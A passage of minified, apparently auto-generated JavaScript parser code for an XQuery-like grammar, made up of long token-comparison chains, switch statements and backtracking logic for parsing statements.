l!=27388&&_l!=27389&&_l!=27390&&_l!=27392&&_l!=27393&&_l!=27396&&_l!=27397&&_l!=27398&&_l!=27399&&_l!=27402&&_l!=27403&&_l!=27406&&_l!=27410&&_l!=90198&&_l!=90214&&_l!=113284&&_l!=144389&&_l!=144390&&_l!=144392&&_l!=144393&&_l!=144394&&_l!=144395&&_l!=144428&&_l!=144429&&_l!=144430&&_l!=144454&&_l!=144456&&_l!=144457&&_l!=144458&&_l!=144459&&_l!=144461&&_l!=144462&&_l!=144463&&_l!=144464&&_l!=144465&&_l!=144466&&_l!=144467&&_l!=144468&&_l!=144469&&_l!=144470&&_l!=144472&&_l!=144473&&_l!=144474&&_l!=144475&&_l!=144477&&_l!=144478&&_l!=144480&&_l!=144481&&_l!=144482&&_l!=144485&&_l!=144486&&_l!=144487&&_l!=144488&&_l!=144489&&_l!=144490&&_l!=144492&&_l!=144493&&_l!=144494&&_l!=144495&&_l!=144496&&_l!=144497&&_l!=144502&&_l!=144503&&_l!=144504&&_l!=144505&&_l!=144506&&_l!=144507&&_l!=144508&&_l!=144509&&_l!=144510&&_l!=144512&&_l!=144513&&_l!=144515&&_l!=144516&&_l!=144517&&_l!=144518&&_l!=144519&&_l!=144520&&_l!=144521&&_l!=144525&&_l!=144529&&_l!=144530&&_l!=144532&&_l!=144534&&_l!=144535&&_l!=144536&&_l!=144537&&_l!=144538&&_l!=144539&&_l!=144543&&_l!=144544&&_l!=144545&&_l!=144546&&_l!=144547&&_l!=144548&&_l!=144549&&_l!=144550&&_l!=144551&&_l!=144554&&_l!=144555&&_l!=144556&&_l!=144558&&_l!=144560&&_l!=144562&&_l!=144564&&_l!=144565&&_l!=144566&&_l!=144568&&_l!=144569&&_l!=144570&&_l!=144575&&_l!=144576&&_l!=144578&&_l!=144582&&_l!=144583&&_l!=144584&&_l!=144585&&_l!=144586&&_l!=144587&&_l!=144590&&_l!=144596&&_l!=144597&&_l!=144600&&_l!=144602&&_l!=144603&&_l!=144604&&_l!=144605&&_l!=144606&&_l!=144608&&_l!=144609&&_l!=144610&&_l!=144611&&_l!=144612&&_l!=144613&&_l!=144618&&_l!=144619&&_l!=144620&&_l!=144621&&_l!=144624&&_l!=144626&&_l!=144627&&_l!=144628&&_l!=144632&&_l!=144633&&_l!=144634&&_l!=144635&&_l!=144636&&_l!=144637&&_l!=144638&&_l!=144640&&_l!=144641&&_l!=144644&&_l!=144645&&_l!=144646&&_l!=144647&&_l!=144650&&_l!=144651&&_l!=144654&&_l!=144658){_l=Kl(6,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{Qa(),_l=-1}catch(a){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(6,Pl,_l)}}if(_l!=-1&&_l!=53&&_l!=16134&&_l!=27141&&_l!=27142&&_l!=27144&&_l!=27145&&_l!=27146&&_l!=27147&&_l!=27180&&_l!=27181&&_l!=27182&&_l!=27206&&_l!=27208&&_l!=27209&&_l!=27210&&_l!=27211&&_l!=27213&&_l!=27214&&_l!=27215&&_l!=27216&&_l!=27217&&_l!=27218&&_l!=27219&&_l!=27220&&_l!=27221&&_l!=27222&&_l!=27224&&_l!=27225&&_l!=27226&&_l!=27227&&_l!=27229&&_l!=27230&&_l!=27232&&_l!=27233&&_l!=27234&&_l!=27237&&_l!=27238&&_l!=27239&&_l!=27240&&_l!=27241&&_l!=27242&&_l!=27244&&_l!=27245&&_l!=27246&&_l!=27247&&_l!=27248&&_l!=27249&&_l!=27254&&_l!=27255&&_l!=27256&&_l!=27257&&_l!=27258&&_l!=27259&&_l!=27260&&_l!=27261&&_l!=27262&&_l!=27264&&_l!=27265&&_l!=27267&&_l!=27268&&_l!=27269&&_l!=27270&&_l!=27271&&_l!=27272&&_l!=27273&&_l!=27277&&_l!=27281&&_l!=27282&&_l!=27284&&_l!=27286&&_l!=27287&&_l!=27288&&_l!=27289&&_l!=27290&&_l!=27291&&_l!=27295&&_l!=27296&&_l!=27297&&_l!=27298&&_l!=27299&&_l!=27300&&_l!=27301&&_l!=27302&&_l!=27303&&_l!=27306&&_l!=27307&&_l!=27308&&_l!=27310&&_l!=27312&&_l!=27314&&_l!=27316&&_l!=27317&&_l!=27318&&_l!=27320&&_l!=27321&&_l!=27322&&_l!=27327&&_l!=27328&&_l!=27330&&_l!=27334&&_l!=27335&&_l!=27336&&_l!=27337&&_l!=27338&&_l!=27339&&_l!=27342&&_l!=27348&&_l!=27349&&_l!=27352&&_l!=27354&&_l!=27355&&_l!=27356&&_l!=27357&&_l!=27358&&_l!=27360&&_l!=27361&&_l!=27362&&_l!=27363&&_l!=27364&&_l!=27365&&_l!=27370&&_l!=27371&&_l!=27372&&_l!=27373&&_l!=27376&&_l!=27378&&_l!=27379&&_l!=27380&&_l!=27384&&_l!=27385&&_l!=27386&&_l!=27387&&_l!=27388&&_l!=27389&&_l!=27390&&_l!=27392&&_l!=27393&&_l!=27396&&_l!=27397&&_l!=27398&&_l!=27399&&_l!=27402&&_l!=27403&&_l!=27406&&_l!=27410&&_l!=90198&&_l!=90214&&_l!=113284)break;Nl(),Ka()}Vl.endNonterminal(\"Statements\",Pl)}function Wa(){for(;;){kl(278);switch(Hl){case 34:Ll(269);break;case 35:Ol(252);break;case 46:Ll(284);break;case 47:Ll(265);break;case 54:Ol(4);break;case 55:Ol(1);break;case 59:Ol(3);break;case 66:Ll(257);break;case 68:Ll(272);break;case 77:Ll(200);break;case 82:Ll(281);break;case 121:Ll(280);break;case 132:Ll(203);break;case 137:Ll(208);break;case 174:Ll(205);break;case 218:Ll(206);break;case 219:Ll(207);break;case 260:Ll(210);break;case 276:Ll(277);break;case 278:Ll(273);break;case 5:case 45:Ll(186);break;case 31:case 32:Ll(255);break;case 40:case 42:Ll(267);break;case 86:case 102:Ll(201);break;case 110:case 159:Ll(209);break;case 184:case 216:Ll(268);break;case 103:case 129:case 235:case 262:Ll(197);break;case 8:case 9:case 10:case 11:case 44:Ll(192);break;case 78:case 124:case 165:case 167:case 242:Ll(191);break;case 96:case 119:case 202:case 244:case 250:case 256:Ll(204);break;case 73:case 74:case 93:case 111:case 112:case 135:case 136:case 206:case 212:case 213:case 229:Ll(198);break;case 6:case 70:case 72:case 75:case 79:case 80:case 81:case 83:case 84:case 85:case 88:case 89:case 90:case 91:case 94:case 97:case 98:case 101:case 104:case 105:case 106:case 108:case 109:case 113:case 118:case 120:case 122:case 123:case 125:case 126:case 128:case 131:case 133:case 134:case 141:case 145:case 146:case 148:case 150:case 151:case 152:case 153:case 154:case 155:case 160:case 161:case 162:case 163:case 164:case 166:case 170:case 171:case 172:case 176:case 178:case 180:case 181:case 182:case 185:case 186:case 191:case 192:case 194:case 198:case 199:case 200:case 201:case 203:case 220:case 221:case 222:case 224:case 225:case 226:case 227:case 228:case 234:case 236:case 237:case 240:case 243:case 248:case 249:case 251:case 252:case 253:case 254:case 257:case 261:case 263:case 266:case 267:case 270:case 274:Ll(195);break;default:_l=Hl}if(_l!=25&&_l!=53&&_l!=282&&_l!=12805&&_l!=12806&&_l!=12808&&_l!=12809&&_l!=12810&&_l!=12811&&_l!=12844&&_l!=12845&&_l!=12846&&_l!=12870&&_l!=12872&&_l!=12873&&_l!=12874&&_l!=12875&&_l!=12877&&_l!=12878&&_l!=12879&&_l!=12880&&_l!=12881&&_l!=12882&&_l!=12883&&_l!=12884&&_l!=12885&&_l!=12886&&_l!=12888&&_l!=12889&&_l!=12890&&_l!=12891&&_l!=12893&&_l!=12894&&_l!=12896&&_l!=12897&&_l!=12898&&_l!=12901&&_l!=12902&&_l!=12903&&_l!=12904&&_l!=12905&&_l!=12906&&_l!=12908&&_l!=12909&&_l!=12910&&_l!=12911&&_l!=12912&&_l!=12913&&_l!=12918&&_l!=12919&&_l!=12920&&_l!=12921&&_l!=12922&&_l!=12923&&_l!=12924&&_l!=12925&&_l!=12926&&_l!=12928&&_l!=12929&&_l!=12931&&_l!=12932&&_l!=12933&&_l!=12934&&_l!=12935&&_l!=12936&&_l!=12937&&_l!=12941&&_l!=12945&&_l!=12946&&_l!=12948&&_l!=12950&&_l!=12951&&_l!=12952&&_l!=12953&&_l!=12954&&_l!=12955&&_l!=12959&&_l!=12960&&_l!=12961&&_l!=12962&&_l!=12963&&_l!=12964&&_l!=12965&&_l!=12966&&_l!=12967&&_l!=12970&&_l!=12971&&_l!=12972&&_l!=12974&&_l!=12976&&_l!=12978&&_l!=12980&&_l!=12981&&_l!=12982&&_l!=12984&&_l!=12985&&_l!=12986&&_l!=12991&&_l!=12992&&_l!=12994&&_l!=12998&&_l!=12999&&_l!=13e3&&_l!=13001&&_l!=13002&&_l!=13003&&_l!=13006&&_l!=13012&&_l!=13013&&_l!=13016&&_l!=13018&&_l!=13019&&_l!=13020&&_l!=13021&&_l!=13022&&_l!=13024&&_l!=13025&&_l!=13026&&_l!=13027&&_l!=13028&&_l!=13029&&_l!=13034&&_l!=13035&&_l!=13036&&_l!=13037&&_l!=13040&&_l!=13042&&_l!=13043&&_l!=13044&&_l!=13048&&_l!=13049&&_l!=13050&&_l!=13051&&_l!=13052&&_l!=13053&&_l!=13054&&_l!=13056&&_l!=13057&&_l!=13060&&_l!=13061&&_l!=13062&&_l!=13063&&_l!=13066&&_l!=13067&&_l!=13070&&_l!=13074&&_l!=16134&&_l!=20997&&_l!=20998&&_l!=21e3&&_l!=21001&&_l!=21002&&_l!=21003&&_l!=21036&&_l!=21037&&_l!=21038&&_l!=21062&&_l!=21064&&_l!=21065&&_l!=21066&&_l!=21067&&_l!=21069&&_l!=21070&&_l!=21071&&_l!=21072&&_l!=21073&&_l!=21074&&_l!=21075&&_l!=21076&&_l!=21077&&_l!=21078&&_l!=21080&&_l!=21081&&_l!=21082&&_l!=21083&&_l!=21085&&_l!=21086&&_l!=21088&&_l!=21089&&_l!=21090&&_l!=21093&&_l!=21094&&_l!=21095&&_l!=21096&&_l!=21097&&_l!=21098&&_l!=21100&&_l!=21101&&_l!=21102&&_l!=21103&&_l!=21104&&_l!=21105&&_l!=21110&&_l!=21111&&_l!=21112&&_l!=21113&&_l!=21114&&_l!=21115&&_l!=21116&&_l!=21117&&_l!=21118&&_l!=21120&&_l!=21121&&_l!=21123&&_l!=21124&&_l!=21125&&_l!=21126&&_l!=21127&&_l!=21128&&_l!=21129&&_l!=21133&&_l!=21137&&_l!=21138&&_l!=21140&&_l!=21142&&_l!=21143&&_l!=21144&&_l!=21145&&_l!=21146&&_l!=21147&&_l!=21151&&_l!=21152&&_l!=21153&&_l!=21154&&_l!=21155&&_l!=21156&&_l!=21157&&_l!=21158&&_l!=21159&&_l!=21162&&_l!=21163&&_l!=21164&&_l!=21166&&_l!=21168&&_l!=21170&&_l!=21172&&_l!=21173&&_l!=21174&&_l!=21176&&_l!=21177&&_l!=21178&&_l!=21183&&_l!=21184&&_l!=21186&&_l!=21190&&_l!=21191&&_l!=21192&&_l!=21193&&_l!=21194&&_l!=21195&&_l!=21198&&_l!=21204&&_l!=21205&&_l!=21208&&_l!=21210&&_l!=21211&&_l!=21212&&_l!=21213&&_l!=21214&&_l!=21216&&_l!=21217&&_l!=21218&&_l!=21219&&_l!=21220&&_l!=21221&&_l!=21226&&_l!=21227&&_l!=21228&&_l!=21229&&_l!=21232&&_l!=21234&&_l!=21235&&_l!=21236&&_l!=21240&&_l!=21241&&_l!=21242&&_l!=21243&&_l!=21244&&_l!=21245&&_l!=21246&&_l!=21248&&_l!=21249&&_l!=21252&&_l!=21253&&_l!=21254&&_l!=21255&&_l!=21258&&_l!=21259&&_l!=21262&&_l!=21266&&_l!=27141&&_l!=27142&&_l!=27144&&_l!=27145&&_l!=27146&&_l!=27147&&_l!=27180&&_l!=27181&&_l!=27182&&_l!=27206&&_l!=27208&&_l!=27209&&_l!=27210&&_l!=27211&&_l!=27213&&_l!=27214&&_l!=27215&&_l!=27216&&_l!=27217&&_l!=27218&&_l!=27219&&_l!=27220&&_l!=27221&&_l!=27222&&_l!=27224&&_l!=27225&&_l!=27226&&_l!=27227&&_l!=27229&&_l!=27230&&_l!=27232&&_l!=27233&&_l!=27234&&_l!=27237&&_l!=27238&&_l!=27239&&_l!=27240&&_l!=27241&&_l!=27242&&_l!=27244&&_l!=27245&&_l!=27246&&_l!=27247&&_l!=27248&&_l!=27249&&_l!=27254&&_l!=27255&&_l!=27256&&_l!=27257&&_l!=27258&&_l!=27259&&_l!=27260&&_l!=27261&&_l!=27262&&_l!=27264&&_l!=27265&&_l!=27267&&_l!=27268&&_l!=27269&&_l!=27270&&_l!=27271&&_l!=27272&&_l!=27273&&_l!=27277&&_l!=27281&&_l!=27282&&_l!=27284&&_l!=27286&&_l!=27287&&_l!=27288&&_l!=27289&&_l!=27290&&_l!=27291&&_l!=27295&&_l!=27296&&_l!=27297&&_l!=27298&&_l!=27299&&_l!=27300&&_l!=27301&&_l!=27302&&_l!=27303&&_l!=27306&&_l!=27307&&_l!=27308&&_l!=27310&&_l!=27312&&_l!=27314&&_l!=27316&&_l!=27317&&_l!=27318&&_l!=27320&&_l!=27321&&_l!=27322&&_l!=27327&&_l!=27328&&_l!=27330&&_l!=27334&&_l!=27335&&_l!=27336&&_l!=27337&&_l!=27338&&_l!=27339&&_l!=27342&&_l!=27348&&_l!=27349&&_l!=27352&&_l!=27354&&_l!=27355&&_l!=27356&&_l!=27357&&_l!=27358&&_l!=27360&&_l!=27361&&_l!=27362&&_l!=27363&&_l!=27364&&_l!=27365&&_l!=27370&&_l!=27371&&_l!=27372&&_l!=27373&&_l!=27376&&_l!=27378&&_l!=27379&&_l!=27380&&_l!=27384&&_l!=27385&&_l!=27386&&_l!=27387&&_l!=27388&&_l!=27389&&_l!=27390&&_l!=27392&&_l!=27393&&_l!=27396&&_l!=27397&&_l!=27398&&_l!=27399&&_l!=27402&&_l!=27403&&_l!=27406&&_l!=27410&&_l!=90198&&_l!=90214&&_l!=113284&&_l!=144389&&_l!=144390&&_l!=144392&&_l!=144393&&_l!=144394&&_l!=144395&&_l!=144428&&_l!=144429&&_l!=144430&&_l!=144454&&_l!=144456&&_l!=144457&&_l!=144458&&_l!=144459&&_l!=144461&&_l!=144462&&_l!=144463&&_l!=144464&&_l!=144465&&_l!=144466&&_l!=144467&&_l!=144468&&_l!=144469&&_l!=144470&&_l!=144472&&_l!=144473&&_l!=144474&&_l!=144475&&_l!=144477&&_l!=144478&&_l!=144480&&_l!=144481&&_l!=144482&&_l!=144485&&_l!=144486&&_l!=144487&&_l!=144488&&_l!=144489&&_l!=144490&&_l!=144492&&_l!=144493&&_l!=144494&&_l!=144495&&_l!=144496&&_l!=144497&&_l!=144502&&_l!=144503&&_l!=144504&&_l!=144505&&_l!=144506&&_l!=144507&&_l!=144508&&_l!=144509&&_l!=144510&&_l!=144512&&_l!=144513&&_l!=144515&&_l!=144516&&_l!=144517&&_l!=144518&&_l!=144519&&_l!=144520&&_l!=144521&&_l!=144525&&_l!=144529&&_l!=144530&&_l!=144532&&_l!=144534&&_l!=144535&&_l!=144536&&_l!=144537&&_l!=144538&&_l!=144539&&_l!=144543&&_l!=144544&&_l!=144545&&_l!=144546&&_l!=144547&&_l!=144548&&_l!=144549&&_l!=144550&&_l!=144551&&_l!=144554&&_l!=144555&&_l!=144556&&_l!=144558&&_l!=144560&&_l!=144562&&_l!=144564&&_l!=144565&&_l!=144566&&_l!=144568&&_l!=144569&&_l!=144570&&_l!=144575&&_l!=144576&&_l!=144578&&_l!=144582&&_l!=144583&&_l!=144584&&_l!=144585&&_l!=144586&&_l!=144587&&_l!=144590&&_l!=144596&&_l!=144597&&_l!=144600&&_l!=144602&&_l!=144603&&_l!=144604&&_l!=144605&&_l!=144606&&_l!=144608&&_l!=144609&&_l!=144610&&_l!=144611&&_l!=144612&&_l!=144613&&_l!=144618&&_l!=144619&&_l!=144620&&_l!=144621&&_l!=144624&&_l!=144626&&_l!=144627&&_l!=144628&&_l!=144632&&_l!=144633&&_l!=144634&&_l!=144635&&_l!=144636&&_l!=144637&&_l!=144638&&_l!=144640&&_l!=144641&&_l!=144644&&_l!=144645&&_l!=144646&&_l!=144647&&_l!=144650&&_l!=144651&&_l!=144654&&_l!=144658){_l=Kl(6,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{Qa(),Jl(6,t,-1);continue}catch(a){Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(6,t,-2);break}}}if(_l!=-1&&_l!=53&&_l!=16134&&_l!=27141&&_l!=27142&&_l!=27144&&_l!=27145&&_l!=27146&&_l!=27147&&_l!=27180&&_l!=27181&&_l!=27182&&_l!=27206&&_l!=27208&&_l!=27209&&_l!=27210&&_l!=27211&&_l!=27213&&_l!=27214&&_l!=27215&&_l!=27216&&_l!=27217&&_l!=27218&&_l!=27219&&_l!=27220&&_l!=27221&&_l!=27222&&_l!=27224&&_l!=27225&&_l!=27226&&_l!=27227&&_l!=27229&&_l!=27230&&_l!=27232&&_l!=27233&&_l!=27234&&_l!=27237&&_l!=27238&&_l!=27239&&_l!=27240&&_l!=27241&&_l!=27242&&_l!=27244&&_l!=27245&&_l!=27246&&_l!=27247&&_l!=27248&&_l!=27249&&_l!=27254&&_l!=27255&&_l!=27256&&_l!=27257&&_l!=27258&&_l!=27259&&_l!=27260&&_l!=27261&&_l!=27262&&_l!=27264&&_l!=27265&&_l!=27267&&_l!=27268&&_l!=27269&&_l!=27270&&_l!=27271&&_l!=27272&&_l!=27273&&_l!=27277&&_l!=27281&&_l!=27282&&_l!=27284&&_l!=27286&&_l!=27287&&_l!=27288&&_l!=27289&&_l!=27290&&_l!=27291&&_l!=27295&&_l!=27296&&_l!=27297&&_l!=27298&&_l!=27299&&_l!=27300&&_l!=27301&&_l!=27302&&_l!=27303&&_l!=27306&&_l!=27307&&_l!=27308&&_l!=27310&&_l!=27312&&_l!=27314&&_l!=27316&&_l!=27317&&_l!=27318&&_l!=27320&&_l!=27321&&_l!=27322&&_l!=27327&&_l!=27328&&_l!=27330&&_l!=27334&&_l!=27335&&_l!=27336&&_l!=27337&&_l!=27338&&_l!=27339&&_l!=27342&&_l!=27348&&_l!=27349&&_l!=27352&&_l!=27354&&_l!=27355&&_l!=27356&&_l!=27357&&_l!=27358&&_l!=27360&&_l!=27361&&_l!=27362&&_l!=27363&&_l!=27364&&_l!=27365&&_l!=27370&&_l!=27371&&_l!=27372&&_l!=27373&&_l!=27376&&_l!=27378&&_l!=27379&&_l!=27380&&_l!=27384&&_l!=27385&&_l!=27386&&_l!=27387&&_l!=27388&&_l!=27389&&_l!=27390&&_l!=27392&&_l!=27393&&_l!=27396&&_l!=27397&&_l!=27398&&_l!=27399&&_l!=27402&&_l!=27403&&_l!=27406&&_l!=27410&&_l!=90198&&_l!=90214&&_l!=113284)break;Qa()}}function Xa(){Vl.startNonterminal(\"StatementsAndExpr\",Pl),za(),Nl(),G(),Vl.endNonterminal(\"StatementsAndExpr\",Pl)}function Va(){Wa(),Y()}function $a(){Vl.startNonterminal(\"StatementsAndOptionalExpr\",Pl),za(),Hl!=25&&Hl!=282&&(Nl(),G()),Vl.endNonterminal(\"StatementsAndOptionalExpr\",Pl)}function Ja(){Wa(),Hl!=25&&Hl!=282&&Y()}function Ka(){Vl.startNonterminal(\"Statement\",Pl);switch(Hl){case 132:Ll(189);break;case 137:Ll(196);break;case 174:Ll(193);break;case 250:Ll(190);break;case 262:Ll(187);break;case 276:Ll(277);break;case 31:case 32:Ll(255);break;case 86:case 102:Ll(188);break;case 152:case 243:case 253:case 267:Ll(185);break;default:_l=Hl}if(_l==2836||_l==3103||_l==3104||_l==3348||_l==4372||_l==4884||_l==5396||_l==5908||_l==16148||_l==16660||_l==17675||_l==17684||_l==18196||_l==20756||_l==21780||_l==22804||_l==23316||_l==23828||_l==24340||_l==27412||_l==27924||_l==28436||_l==30484||_l==34068||_l==35092||_l==35871||_l==35872||_l==36116||_l==36895||_l==36896||_l==37140||_l==37407||_l==37408||_l==37652||_l==37919||_l==37920||_l==38164||_l==38431||_l==38432||_l==38676||_l==39455||_l==39456||_l==39700||_l==39967||_l==39968||_l==40212||_l==40479||_l==40480||_l==40724||_l==40991||_l==40992||_l==41236||_l==41503||_l==41504||_l==41748||_l==42015||_l==42016||_l==42260||_l==42527||_l==42528||_l==42772||_l==43039||_l==43040||_l==43284||_l==43551||_l==43552||_l==43796||_l==44063||_l==44064||_l==44308||_l==45087||_l==45088||_l==45332||_l==45599||_l==45600||_l==45844||_l==46111||_l==46112||_l==46356||_l==46623||_l==46624||_l==46868||_l==47647||_l==47648||_l==47892||_l==48159||_l==48160||_l==48404||_l==49183||_l==49184||_l==49428||_l==49695||_l==49696||_l==49940||_l==50207||_l==50208||_l==50452||_l==51743||_l==51744||_l==51988||_l==52255||_l==52256||_l==52500||_l==52767||_l==52768||_l==53012||_l==53279||_l==53280||_l==53524||_l==53791||_l==53792||_l==54036||_l==54303||_l==54304||_l==54548||_l==55327||_l==55328||_l==55572||_l==55839||_l==55840||_l==56084||_l==56351||_l==56352||_l==56596||_l==56863||_l==56864||_l==57108||_l==57375||_l==57376||_l==57620||_l==57887||_l==57888||_l==58132||_l==60447||_l==60448||_l==60692||_l==60959||_l==60960||_l==61204||_l==61471||_l==61472||_l==61716||_l==61983||_l==61984||_l==62228||_l==62495||_l==62496||_l==62740||_l==63007||_l==63008||_l==63252||_l==63519||_l==63520||_l==63764||_l==64031||_l==64032||_l==64276||_l==64543||_l==64544||_l==64788||_l==65567||_l==65568||_l==65812||_l==66079||_l==66080||_l==66324||_l==67103||_l==67104||_l==67348||_l==67615||_l==67616||_l==67860||_l==68127||_l==68128||_l==68372||_l==68639||_l==68640||_l==68884||_l==69151||_l==69152||_l==69396||_l==69663||_l==69664||_l==69908||_l==70175||_l==70176||_l==70420||_l==72223||_l==72224||_l==72468||_l==74271||_l==74272||_l==74516||_l==74783||_l==74784||_l==75028||_l==75807||_l==75808||_l==76052||_l==76831||_l==76832||_l==77076||_l==77343||_l==77344||_l==77588||_l==77855||_l==77856||_l==78100||_l==78367||_l==78368||_l==78612||_l==78879||_l==78880||_l==79124||_l==79391||_l==79392||_l==79636||_l==81439||_l==81440||_l==81684||_l==81951||_l==81952||_l==82196||_l==82463||_l==82464||_l==82708||_l==82975||_l==82976||_l==83220||_l==83487||_l==83488||_l==83732||_l==83999||_l==84e3||_l==84244||_l==84511||_l==84512||_l==84756||_l==85023||_l==85024||_l==85268||_l==85535||_l==85536||_l==85780||_l==87071||_l==87072||_l==87316||_l==87583||_l==87584||_l==87828||_l==88095||_l==88096||_l==88340||_l==89119||_l==89120||_l==89364||_l==90143||_l==90144||_l==90388||_l==91167||_l==91168||_l==91412||_l==92191||_l==92192||_l==92436||_l==92703||_l==92704||_l==92948||_l==93215||_l==93216||_l==93460||_l==94239||_l==94240||_l==94484||_l==94751||_l==94752||_l==94996||_l==95263||_l==95264||_l==95508||_l==97823||_l==97824||_l==98068||_l==98335||_l==98336||_l==98580||_l==99359||_l==99360||_l==99604||_l==101407||_l==101408||_l==101652||_l==101919||_l==101920||_l==102164||_l==102431||_l==102432||_l==102676||_l==102943||_l==102944||_l==103188||_l==103455||_l==103456||_l==103700||_l==103967||_l==103968||_l==104212||_l==105503||_l==105504||_l==105748||_l==108575||_l==108576||_l==108820||_l==109087||_l==109088||_l==109332||_l==110623||_l==110624||_l==110868||_l==111647||_l==111648||_l==111892||_l==112159||_l==112160||_l==112404||_l==112671||_l==112672||_l==112916||_l==113183||_l==113184||_l==113428||_l==113695||_l==113696||_l==113940||_l==114719||_l==114720||_l==114964||_l==115231||_l==115232||_l==115476||_l==115743||_l==115744||_l==115988||_l==116255||_l==116256||_l==116500||_l==116767||_l==116768||_l==117012||_l==117279||_l==117280||_l==117524||_l==119839||_l==119840||_l==120084||_l==120351||_l==120352||_l==120596||_l==120863||_l==120864||_l==121108||_l==121375||_l==121376||_l==121620||_l==122911||_l==122912||_l==123156||_l==123935||_l==123936||_l==124180||_l==124447||_l==124448||_l==124692||_l==124959||_l==124960||_l==125204||_l==127007||_l==127008||_l==127252||_l==127519||_l==127520||_l==127764||_l==128031||_l==128032||_l==128276||_l==128543||_l==128544||_l==128788||_l==129055||_l==129056||_l==129300||_l==129567||_l==129568||_l==129812||_l==130079||_l==130080||_l==130324||_l==131103||_l==131104||_l==131348||_l==131615||_l==131616||_l==131860||_l==133151||_l==133152||_l==133396||_l==133663||_l==133664||_l==133908||_l==134175||_l==134176||_l==134420||_l==134687||_l==134688||_l==134932||_l==136223||_l==136224||_l==136468||_l==136735||_l==136736||_l==136980||_l==138271||_l==138272||_l==138516||_l==140319||_l==140320||_l==140564||_l==141588||_l==142612||_l==144660){_l=Kl(7,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{Ya(),_l=-1}catch(a){try{Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),ef(),_l=-2}catch(f){try{Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),nf(),_l=-3}catch(l){try{Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),kf(),_l=-12}catch(c){_l=-13}}}}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(7,Pl,_l)}}switch(_l){case-2:Za();break;case-3:tf();break;case 90198:rf();break;case 90214:of();break;case 113284:af();break;case 16009:case 16046:case 116910:case 119945:case 128649:lf();break;case 17560:df();break;case 17651:mf();break;case 141562:wf();break;case 17661:Sf();break;case-12:case 16134:Cf();break;case-13:Lf();break;case 53:Of();break;default:Ga()}Vl.endNonterminal(\"Statement\",Pl)}function Qa(){switch(Hl){case 132:Ll(189);break;case 137:Ll(196);break;case 174:Ll(193);break;case 250:Ll(190);break;case 262:Ll(187);break;case 276:Ll(277);break;case 31:case 32:Ll(255);break;case 86:case 102:Ll(188);break;case 152:case 243:case 253:case 267:Ll(185);break;default:_l=Hl}if(_l==2836||_l==3103||_l==3104||_l==3348||_l==4372||_l==4884||_l==5396||_l==5908||_l==16148||_l==16660||_l==17675||_l==17684||_l==18196||_l==20756||_l==21780||_l==22804||_l==23316||_l==23828||_l==24340||_l==27412||_l==27924||_l==28436||_l==30484||_l==34068||_l==35092||_l==35871||_l==35872||_l==36116||_l==36895||_l==36896||_l==37140||_l==37407||_l==37408||_l==37652||_l==37919||_l==37920||_l==38164||_l==38431||_l==38432||_l==38676||_l==39455||_l==39456||_l==39700||_l==39967||_l==39968||_l==40212||_l==40479||_l==40480||_l==40724||_l==40991||_l==40992||_l==41236||_l==41503||_l==41504||_l==41748||_l==42015||_l==42016||_l==42260||_l==42527||_l==42528||_l==42772||_l==43039||_l==43040||_l==43284||_l==43551||_l==43552||_l==43796||_l==44063||_l==44064||_l==44308||_l==45087||_l==45088||_l==45332||_l==45599||_l==45600||_l==45844||_l==46111||_l==46112||_l==46356||_l==46623||_l==46624||_l==46868||_l==47647||_l==47648||_l==47892||_l==48159||_l==48160||_l==48404||_l==49183||_l==49184||_l==49428||_l==49695||_l==49696||_l==49940||_l==50207||_l==50208||_l==50452||_l==51743||_l==51744||_l==51988||_l==52255||_l==52256||_l==52500||_l==52767||_l==52768||_l==53012||_l==53279||_l==53280||_l==53524||_l==53791||_l==53792||_l==54036||_l==54303||_l==54304||_l==54548||_l==55327||_l==55328||_l==55572||_l==55839||_l==55840||_l==56084||_l==56351||_l==56352||_l==56596||_l==56863||_l==56864||_l==57108||_l==57375||_l==57376||_l==57620||_l==57887||_l==57888||_l==58132||_l==60447||_l==60448||_l==60692||_l==60959||_l==60960||_l==61204||_l==61471||_l==61472||_l==61716||_l==61983||_l==61984||_l==62228||_l==62495||_l==62496||_l==62740||_l==63007||_l==63008||_l==63252||_l==63519||_l==63520||_l==63764||_l==64031||_l==64032||_l==64276||_l==64543||_l==64544||_l==64788||_l==65567||_l==65568||_l==65812||_l==66079||_l==66080||_l==66324||_l==67103||_l==67104||_l==67348||_l==67615||_l==67616||_l==67860||_l==68127||_l==68128||_l==68372||_l==68639||_l==68640||_l==68884||_l==69151||_l==69152||_l==69396||_l==69663||_l==69664||_l==69908||_l==70175||_l==70176||_l==70420||_l==72223||_l==72224||_l==72468||_l==74271||_l==74272||_l==74516||_l==74783||_l==74784||_l==75028||_l==75807||_l==75808||_l==76052||_l==76831||_l==76832||_l==77076||_l==77343||_l==77344||_l==77588||_l==77855||_l==77856||_l==78100||_l==78367||_l==78368||_l==78612||_l==78879||_l==78880||_l==79124||_l==79391||_l==79392||_l==79636||_l==81439||_l==81440||_l==81684||_l==81951||_l==81952||_l==82196||_l==82463||_l==82464||_l==82708||_l==82975||_l==82976||_l==83220||_l==83487||_l==83488||_l==83732||_l==83999||_l==84e3||_l==84244||_l==84511||_l==84512||_l==84756||_l==85023||_l==85024||_l==85268||_l==85535||_l==85536||_l==85780||_l==87071||_l==87072||_l==87316||_l==87583||_l==87584||_l==87828||_l==88095||_l==88096||_l==88340||_l==89119||_l==89120||_l==89364||_l==90143||_l==90144||_l==90388||_l==91167||_l==91168||_l==91412||_l==92191||_l==92192||_l==92436||_l==92703||_l==92704||_l=